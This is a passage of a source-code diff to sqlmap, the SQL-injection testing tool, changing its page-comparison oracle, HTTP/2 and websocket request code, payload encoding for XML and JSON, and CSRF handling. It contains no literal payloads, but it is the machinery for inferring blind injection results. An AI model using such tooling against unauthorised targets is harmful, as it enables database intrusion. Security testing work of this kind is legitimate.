threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + # Same template-identity memoization for the structure-aware projections (see below): the + # template is constant across an extraction, so it must not be re-parsed/re-tokenized on + # every inference request - only seq2 (from the live page) is recomputed per response + threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate) + threadData.lastPageTemplateStructural = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + threadData.lastPageTemplate = kb.pageTemplate + + seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) if not pageLength: pageLength = len(page) @@ -120,7 +161,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): - seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) if any(_ is None for _ in (page, seqMatcher.a)): return None @@ -136,34 +177,72 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: seq1, seq2 = None, None - if conf.titles: - seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) - seq2 = extractRegexResult(HTML_TITLE_REGEX, page) - else: - seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a - seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + # Structure-aware comparison for JSON responses: compare an order-independent + # projection of the parsed bodies instead of raw text, so key reordering/whitespace + # noise does not perturb the ratio while a changed value/array-length does. Engages + # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit + # --text-only/--titles) falls back to the exact text path below. + if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection): + seq1 = threadData.lastPageTemplateJsonMinimized # memoized per template (see above) + seq2 = jsonMinimize(rawPage) + + # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: + # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio + # while a structural change (e.g. a results table appearing/disappearing) still does + if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): + _ = threadData.lastPageTemplateStructural # memoized per template (see above) + if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text + seq1 = _ + seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) + + if seq1 is None or seq2 is None: + if conf.titles: + seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) + seq2 = extractRegexResult(HTML_TITLE_REGEX, page) + else: + seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a + seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None - seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") - seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") + if isinstance(seq1, six.binary_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq1, six.text_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") + + if isinstance(seq2, six.binary_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq2, six.text_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") if kb.heavilyDynamic: - seq1 = seq1.split("\n") - seq2 = seq2.split("\n") + seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") + seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") key = None else: key = (hash(seq1), hash(seq2)) - seqMatcher.set_seq1(seq1) - seqMatcher.set_seq2(seq2) - - if key in kb.cache.comparison: - ratio = kb.cache.comparison[key] - else: - ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3) + try: + seqMatcher.set_seq1(seq1) + seqMatcher.set_seq2(seq2) + except: + seqMatcher.set_seq1(repr(seq1)) + seqMatcher.set_seq2(repr(seq2)) + + ratio = kb.cache.comparison.get(key) if key else None + + if ratio is None: + try: + try: + ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() + except (TypeError, MemoryError, SystemError): + ratio = seqMatcher.ratio() + except: + ratio = 0.0 + + ratio = round(ratio, 3) if key: kb.cache.comparison[key] = ratio diff --git a/lib/request/connect.py b/lib/request/connect.py index da1bacad8b9..77f9f25a74f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii import inspect +import io import logging import os import random @@ -18,12 +19,8 @@ import time import traceback -try: - import websocket - from websocket import WebSocketException -except ImportError: - class WebSocketException(Exception): - pass +from lib.request import websocket +from lib.request.websocket import WebSocketException from lib.core.agent import agent from lib.core.common import asciifyUrl @@ -90,6 +87,7 @@ class WebSocketException(Exception): from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException @@ -122,6 +120,7 @@ class WebSocketException(Exception): from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING @@ -136,8 +135,9 @@ class WebSocketException(Exception): from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode +from lib.utils.sqllint import checkSanity from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib @@ -223,17 +223,19 @@ def _retryProxy(**kwargs): @staticmethod def _connReadProxy(conn): - retVal = b"" + parts = [] + kb.respTruncated = False if not kb.dnsMode and conn: headers = conn.info() if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): - retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) - if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: + part = conn.read(MAX_CONNECTION_TOTAL_SIZE) + if len(part) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False raise SqlmapCompressionException + parts.append(part) else: while True: if not conn: @@ -248,18 +250,22 @@ def _connReadProxy(conn): warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) - retVal += part + parts.append(part) + kb.respTruncated = True # response exceeded the read cap and was trimmed (signal for chunked UNION dumping) else: - retVal += part + parts.append(part) break - if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: + if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) + kb.respTruncated = True break if conf.yuge: - retVal = YUGE_FACTOR * retVal + parts = YUGE_FACTOR * parts + + retVal = b"".join(parts) return retVal @@ -280,7 +286,7 @@ def getPage(**kwargs): cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer - host = kwargs.get("host", None) or conf.host + host = kwargs.get("host", None) direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", None) silent = kwargs.get("silent", False) @@ -297,11 +303,11 @@ def getPage(**kwargs): finalCode = kwargs.get("finalCode", False) chunked = kwargs.get("chunked", False) or conf.chunked - start = time.time() - if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) + start = time.time() + threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 @@ -415,7 +421,7 @@ def getPage(**kwargs): elif target: if conf.forceSSL: url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) - url = re.sub(r"(?i):80/", ":443/", url) + url = re.sub(r"(?i):80(?=[/?#]|\Z)", ":443", url) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] @@ -441,7 +447,7 @@ def getPage(**kwargs): requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers - headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] @@ -453,9 +459,6 @@ def getPage(**kwargs): headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if not conf.requestFile or not target: - if not getHeader(headers, HTTP_HEADER.HOST): - headers[HTTP_HEADER.HOST] = getHostHeader(url) - if not getHeader(headers, HTTP_HEADER.ACCEPT): headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE @@ -490,7 +493,7 @@ def getPage(**kwargs): headers = forgeHeaders(auxHeaders, headers) if kb.headersFile: - content = openFile(kb.headersFile, "rb").read() + content = openFile(kb.headersFile, 'r').read() for line in content.split("\n"): line = getText(line.strip()) if ':' in line: @@ -502,7 +505,10 @@ def getPage(**kwargs): for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): - value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" + # keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted + # 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body + # we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity". + value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity" del headers[key] if isinstance(value, six.string_types): @@ -515,28 +521,35 @@ def getPage(**kwargs): if webSocket: ws = websocket.WebSocket() - ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) - ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically - ws.send(urldecode(post or "")) + try: + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) + wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) + ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) - _page = [] + _page = [] - if kb.webSocketRecvCount is None: - while True: - try: + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "too large websocket response detected. Automatically trimming it" + singleTimeWarnMessage(warnMsg) + break + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) + break + else: + for i in xrange(max(1, kb.webSocketRecvCount)): _page.append(ws.recv()) - except websocket.WebSocketTimeoutException: - kb.webSocketRecvCount = len(_page) - break - else: - for i in xrange(max(1, kb.webSocketRecvCount)): - _page.append(ws.recv()) - page = "\n".join(_page) + page = "\n".join(_page) + finally: + ws.close() - ws.close() code = ws.status - status = _http_client.responses[code] + status = _http_client.responses.get(code, "") class _(dict): pass @@ -544,7 +557,7 @@ class _(dict): responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] - requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + requestHeaders += "\r\n".join(wsHeaders) requestMsg += "\r\n%s" % requestHeaders if post is not None: @@ -558,6 +571,10 @@ class _(dict): else: post = getBytes(post) + # Reference: https://github.com/sqlmapproject/sqlmap/issues/6049 + if cmdLineOptions.method is None and method == HTTPMETHOD.GET and post == b"": + post = None + if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: if kb.place != HTTPMETHOD.POST: conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) @@ -583,7 +600,7 @@ class _(dict): else: post, headers = req.data, req.headers - requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()]) + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) @@ -606,11 +623,6 @@ class _(dict): if not chunked: requestMsg += "\r\n" - if not multipart: - threadData.lastRequestMsg = requestMsg - - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - if conf.cj: for cookie in conf.cj: if cookie.value is None: @@ -619,7 +631,43 @@ class _(dict): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) - conn = _urllib.request.urlopen(req) + # Build-only capture: return the fully-assembled request instead of sending it, so the + # HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a + # single multiplexed pair rather than issue them as independent single-stream requests. + if kwargs.get("buildOnly"): + return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post) + + if conf.http2: + from lib.request.http2 import open_url as http2OpenUrl + + h2proxy = None + if conf.proxy: + _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) + if (_proxyParts.scheme or "").lower().startswith("socks"): + raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None) + + try: + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) + except IOError as ex: + raise _http_client.HTTPException(getSafeExString(ex)) + else: + if conn.code >= 400: + raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) + + requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) + + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + else: + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) @@ -644,7 +692,7 @@ class _(dict): responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url - if hasattr(conn, "redurl"): + if getattr(conn, "redurl", None) is not None: responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl responseHeaders = patchHeaders(responseHeaders) @@ -702,13 +750,24 @@ class _(dict): # Explicit closing of connection object if conn and not conf.keepAlive: try: - if hasattr(conn.fp, '_sock'): + if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warning(warnMsg) + # Keep-alive: dispose the response explicitly. Its wrapped close() hands the socket + # back to the pool when the body was fully drained, otherwise drops it (a size-capped + # partial read must not be reused). This avoids leaning on GC to reclaim it (delayed on + # non-refcounting runtimes like PyPy). Guarded by the handler's marker so the HTTP/2 + # reuse pool is left untouched. + elif conn is not None and getattr(conn, "_keepaliveManaged", False): + try: + conn.close() + except Exception: + pass + except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) @@ -752,7 +811,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) - if responseHeaders: + if responseHeaders and getattr(responseHeaders, "headers", None): logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) @@ -814,7 +873,7 @@ class _(dict): debugMsg = "got HTTP error code: %d ('%s')" % (code, status) logger.debug(debugMsg) - except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError): + except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError): tbMsg = traceback.format_exc() if conf.debug: @@ -822,6 +881,11 @@ class _(dict): if checking: return None, None, None + elif "KeyError:" in tbMsg: + if "content-length" in tbMsg: + return None, None, None + else: + raise elif "AttributeError:" in tbMsg: if "WSAECONNREFUSED" in tbMsg: return None, None, None @@ -912,12 +976,6 @@ class _(dict): raise SqlmapConnectionException(warnMsg) finally: - if isinstance(page, six.binary_type): - if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): - page = six.text_type(page, errors="ignore") - else: - page = getUnicode(page) - for function in kb.postprocessFunctions: try: page, responseHeaders, code = function(page, responseHeaders, code) @@ -926,6 +984,12 @@ class _(dict): errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) + if isinstance(page, six.binary_type): + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): + page = six.text_type(page, errors="ignore") + else: + page = getUnicode(page) + for _ in (getattr(conn, "redcode", None), code): if _ is not None and _ in conf.abortCode: errMsg = "aborting due to detected HTTP code '%d'" % _ @@ -939,7 +1003,7 @@ class _(dict): # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) if not sys.version.startswith("3.11."): - if conf.retryOn and re.search(conf.retryOn, page, re.I): + if conf.retryOn and re.search(conf.retryOn, page or "", re.I): if threadData.retriesCount < conf.retries: warnMsg = "forced retry of the request because of undesired page content" logger.warning(warnMsg) @@ -951,7 +1015,7 @@ class _(dict): if conn and getattr(conn, "redurl", None): _ = _urllib.parse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, count=1) if kb.resendPostOnRedirect is False: requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) @@ -979,7 +1043,7 @@ class _(dict): @staticmethod @stackedmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -989,6 +1053,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.direct: return direct(value, content) + # Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it, + # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. + timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None + get = None post = None cookie = None @@ -1017,6 +1085,15 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent payload = agent.extractPayload(value) threadData = getCurrentThreadData() + # Opt-in sanity lint of the outbound (pre-tamper) payload. Skipped during + # detection (kb.testMode) where deliberately-invalid probes are expected; + # for operational payloads a structural defect is a genuine bug worth a + # heads-up. Enabled via SQLMAP_LINT_PAYLOADS (e.g. CI/--vuln-test runs). + if payload and not kb.testMode and os.environ.get("SQLMAP_LINT_PAYLOADS"): + for issue in checkSanity(agent.removePayloadDelimiters(value)): + singleTimeWarnMessage("potentially malformed SQL payload emitted (%s): %s" % (issue, payload)) + break + if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None @@ -1027,6 +1104,8 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if "urlencoded" in contentType: + postUrlEncode = True if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) @@ -1064,10 +1143,12 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: - if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): + if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML) and not conf.skipXmlEncode: # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts + payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 + payload = payload.replace(SAFE_HEX_MARKER, "&#") elif kb.postHint == POST_HINT.JSON: payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: @@ -1095,7 +1176,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent postUrlEncode = False if conf.hpp: - if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)): + if (extractRegexResult(r"\.(?P\w+)(?:\?|\Z)", conf.url) or "").lower() not in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) @@ -1177,7 +1258,7 @@ def _adjustParameter(paramString, parameter, newValue): if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: - match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) + match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) @@ -1192,7 +1273,7 @@ def _adjustParameter(paramString, parameter, newValue): warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) @@ -1311,7 +1392,8 @@ def _randomizeParameter(paramString, randomParameter): variables[name] = value if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): - for name, value in (parseJson(post) or {}).items(): + json_ = parseJson(post) + for name, value in (json_ if isinstance(json_, dict) else {}).items(): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) @@ -1333,7 +1415,7 @@ def _randomizeParameter(paramString, randomParameter): compile(getBytes(re.sub(r"\s*;\s*", "\n", conf.evalCode)), "", "exec") except SyntaxError as ex: if ex.text: - original = replacement = ex.text.strip() + original = replacement = getUnicode(ex.text.strip()) if '=' in original: name, value = original.split('=', 1) @@ -1361,18 +1443,18 @@ def _randomizeParameter(paramString, randomParameter): for variable in list(variables.keys()): if unsafeVariableNaming(variable) != variable: - value = variables[variable] + entry = variables[variable] del variables[variable] - variables[unsafeVariableNaming(variable)] = value + variables[unsafeVariableNaming(variable)] = entry uri = variables["uri"] cookie = variables["cookie"] - for name, value in variables.items(): - if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (int, float, six.string_types, six.binary_type)): + for name, entry in variables.items(): + if name != "__builtins__" and originals.get(name, "") != entry: + if isinstance(entry, (int, float, six.string_types, six.binary_type)): found = False - value = getUnicode(value, UNICODE_ENCODING) + entry = getUnicode(entry, UNICODE_ENCODING) if kb.postHint == POST_HINT.MULTIPART: boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) @@ -1390,7 +1472,7 @@ def _randomizeParameter(paramString, randomParameter): found = True first = match.group(0) second = part[len(first):] - second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(value), second) + second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) parts[i] = "%s%s" % (first, second) post = boundary.join(parts) @@ -1398,10 +1480,10 @@ def _randomizeParameter(paramString, randomParameter): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True - post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % entry.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True - post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) @@ -1411,31 +1493,31 @@ def _randomizeParameter(paramString, randomParameter): match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) if match: found = True - post = post.replace(match.group(0), "%s%s" % (match.group(1), value if value.isdigit() else "%s%s%s" % (match.group(0)[0], value, match.group(0)[0]))) + post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), 